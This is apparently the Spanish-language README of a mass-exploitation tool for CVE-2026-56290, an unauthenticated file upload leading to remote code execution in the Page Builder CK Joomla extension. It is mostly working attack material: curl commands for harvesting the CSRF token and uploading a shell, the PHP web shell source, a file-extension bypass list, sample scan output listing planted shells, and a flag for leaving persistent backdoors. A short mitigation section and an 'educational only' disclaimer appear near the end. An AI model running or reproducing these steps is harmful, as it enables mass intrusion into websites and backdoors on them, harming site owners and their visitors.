
📤 Framework de explotación masiva para CVE-2026-56290 — Page Builder CK Joomla: carga de archivos no autenticada que conduce a RCE (ejecución remota de código).
CVE-2026-56290 es una vulnerabilidad de severidad crítica en Page Builder CK (com_pagebuilderck), una popular extensión de creación de páginas para Joomla. El método browse.ajaxAddPicture del controlador acepta subidas de archivos sin autenticación con una ruta de destino controlada por el usuario, lo que permite a los atacantes escribir archivos PHP arbitrarios en directorios accesibles desde la web.
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
El parámetro path solo pasa por una sanitización con trim() — sin lista blanca, sin comprobación de traversal de directorios, sin barrera de autenticación. Combinado con un token CSRF que es accesible públicamente desde cualquier página de Joomla, los atacantes pueden subir shells PHP de forma remota a cualquier directorio escribible.
| Vector de ataque | Severidad | Impacto |
|---|---|---|
1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1")
2. POST file upload → task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL → code executes, RCE confirmed
5. POST f=@file to shell → upload additional tools
6. GET ?cleanup=1 → shell self-destructs
Nota: La versión se detecta a partir del archivo de manifiesto de Joomla en
/administrator/manifests/files/com_pagebuilderck.xml. Si el manifiesto no es accesible, el escáner trata el objetivo como potencialmente vulnerable por defecto.
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Install dependencies
pip install -r requirements.txt
# Verify
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target Single target URL
-f, --file File with target URLs (one per line, # for comments)
-o, --output Live TXT output file (default: cve-2026-56290_live.txt)
--json JSON report file path (default: cve-2026-56290_report.json)
--threads Concurrent workers (default: 20)
--timeout Request timeout in seconds (default: 15)
--no-cleanup Leave shells on target (persistent backdoor)
-v, --verbose Verbose endpoint discovery output
--known-endpoint Skip discovery: task,file_param,folder_param
# Single target
python cve_2026_56290.py -t https://target.com
# Mass scan from file
python cve_2026_56290.py -f targets.txt
# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
Live TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confirmed] 12.4s
PBCK: 3.4.7 [VULN]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [patched] 3.2s
✅ https://target-vuln2.com [rce_confirmed] 15.1s
PBCK: 3.1.0 [VULN]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE Confirmed : 2
⚠️ RCE Failed : 1
🛡️ Patched : 1
🔍 Need Diff : 0
❌ Not Joomla : 0
⏭️ No Component : 1
💥 Errors : 0
==================================================
Paso 1 — Recolectar el token CSRF
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
Paso 2 — Subir el shell PHP
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
Paso 3 — Verificar el RCE
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution
El escáner despliega un shell subidor autónomo — no requiere exec(), system() ni eval():
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>
Capacidades del shell:
f=@file?cleanup=1┌─────────────────────────────────────────────────────────┐
│ PBCK-EXPLOIT │
├──────────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │
│ │ Joomla │ │ │ Endpoint │ │ Extension │ │
│ │ Detection │ │ │ Brute-force │ │ Bypass Grid │ │
│ │ (2-phase) │ │ │ (1000+ combo)│ │ (40+ exts) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │
│ │ PBCK │ │ │ CSRF Token │ │ PHP Shell │ │
│ │ Detection │ │ │ Harvester │ │ Deployment │ │
│ │ (probes) │ │ │ (5 pages) │ │ (20+ paths) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │
│ │ Version │ │ │ │ Validation │ │
│ │ Check │ │ │ │ + Cleanup │ │
│ └────────────┘ │ │ └──────────────┘ │
└──────────────────┴──────────────────────────────────────┘
El escáner utiliza un enfoque de fuerza bruta por niveles con un presupuesto de tiempo por objetivo (15s):
Cada combinación: sube una sonda .txt, la verifica mediante GET y busca la coincidencia en caso de éxito. Devuelve el resultado inmediatamente cuando se confirma.
CKFile::makeSafe() bloquea .php en algunas configuraciones. La estrategia de bypass:
Tier 1: Fast
php, PHP, pht, phar
↓ (if blocked)
Tier 2: Case juggling
Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
↓ (if blocked)
Tier 3: Alternative handlers
php3, php4, php5, php6, php7, php8, phtml, shtml, inc
↓ (if blocked)
Tier 4: Double extensions
php.jpg, jpg.php, php.png, php.gif, php.txt
↓ (if blocked)
Tier 5: Windows tricks
php., PHP., php. , php.SWF
El token CSRF de Joomla está incrustado en todas las páginas — inicio, login, registro, formularios de contacto, administración:
CSRF_PAGES = [
"", # homepage
"/index.php?option=com_users&view=login", # login
"/index.php?option=com_users&view=registration", # registration
"/index.php?option=com_contact&view=contact&id=1", # contact
"/administrator/index.php", # admin login
]
Patrón A — Campo oculto HTML: <input type="hidden" name="<hex32>" value="1">
Patrón B — Configuración JSON: "csrf.token":"<hex32>"
Fase 1 — Huellas HTML (rápidas y definitivas)
<jdoc:include>, joomla-script-options, "csrf.token"/components/com_, /modules/mod_, /plugins/system/Fase 2 — Prueba del panel de administración (respaldo)
/administrator/name="username", mod-login-, administrator/templates/Nivel 1 — Indicadores HTML fuertes
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck
Nivel 2 — Indicadores HTML débiles con confirmación
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)
Nivel 3 — Pruebas directas de archivos (detecta instalaciones donde PBCK no está en la página de inicio)
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml
# Update Page Builder CK to the latest patched version
# Check: https://extensions.joomla.org/extension/page-builder-ck/
# Nginx — block unauthenticated access to the upload controller
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
deny all;
}
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]
# .htaccess in media/ — disable PHP execution
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# Scan your own infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt
🚨 SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS
Este software se proporciona únicamente con fines educativos y para investigación legítima de seguridad. Está pensado para ser utilizado por:
- 🛡️ Profesionales de la seguridad que realizan pruebas de penetración autorizadas
- 🏢 Organizaciones que auditan su propia infraestructura de Joomla
- 🔬 Investigadores que estudian técnicas de explotación de vulnerabilidades
- 🎓 Estudiantes que aprenden sobre seguridad de aplicaciones web
❌ NO puede utilizar este software para:
- Acceder a sistemas informáticos sin autorización escrita explícita
- Comprometer, dañar o interrumpir sistemas que no sean suyos
- Realizar cualquier tipo de actividad ilegal
⚖️ Aviso legal
El acceso no autorizado a sistemas informáticos infringe leyes que incluyen, entre otras:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Unión Europea: Directiva 2013/40/UE
- Reino Unido: Computer Misuse Act 1990
Los autores NO asumen NINGUNA RESPONSABILIDAD por el mal uso, los daños o las consecuencias legales derivadas del uso de esta herramienta. Al utilizar este software, usted reconoce que es el único responsable de sus acciones y acepta cumplir con todas las leyes aplicables.
⚡ Construido con precisión para la comunidad de investigación en seguridad ⚡
Joomla® es una marca comercial registrada de Open Source Matters, Inc.
Este proyecto no está afiliado ni respaldado por Joomla, Open Source Matters o Page Builder CK.
| Subida de archivos sin autenticación |
| 9.8 (Crítica) |
| Ejecución arbitraria de código PHP |
| Recolección de tokens CSRF | 5.3 (Media) | Habilita la cadena de subida |
| Divulgación de información | 5.3 (Media) | Fingerprinting de la versión de la extensión |
| Versión de Page Builder CK | Estado | Notas |
|---|
| 3.1.1 y anteriores | 🔴 Vulnerable | Subida sin autenticación confirmada |
| 3.4.10 y anteriores | 🔴 Vulnerable | Rango ampliado según el análisis |
| 3.5.10 y anteriores | 🔴 Vulnerable | Pueden existir variantes parcheadas |
| > 3.5.10 | 🟢 Posiblemente parcheado | Verificar mediante el XML del manifiesto |
🔍 Reconocimiento
|
💀 Explotación
|
| Nivel | Tareas | Parámetros de archivo | Parámetros de carpeta | Rutas de destino | Combinaciones totales |
|---|
| Nivel 1 (confirmado) | browse.ajaxAddPicture + 3 más | file, Filedata | path, folder, dir | Los 4 directorios principales de PBCK | 96 |
| Nivel 2 (cuadrícula completa) | 12 tareas | 4 parámetros | 5 parámetros | 20+ rutas | 4,800+ |
| Recurso | Enlace |
|---|
| Entrada NVD | CVE-2026-56290 |
| Seguridad de Joomla | developer.joomla.org/security |
| Page Builder CK | extensions.joomla.org |
| Subida de archivos OWASP | Subida de archivos sin restricciones |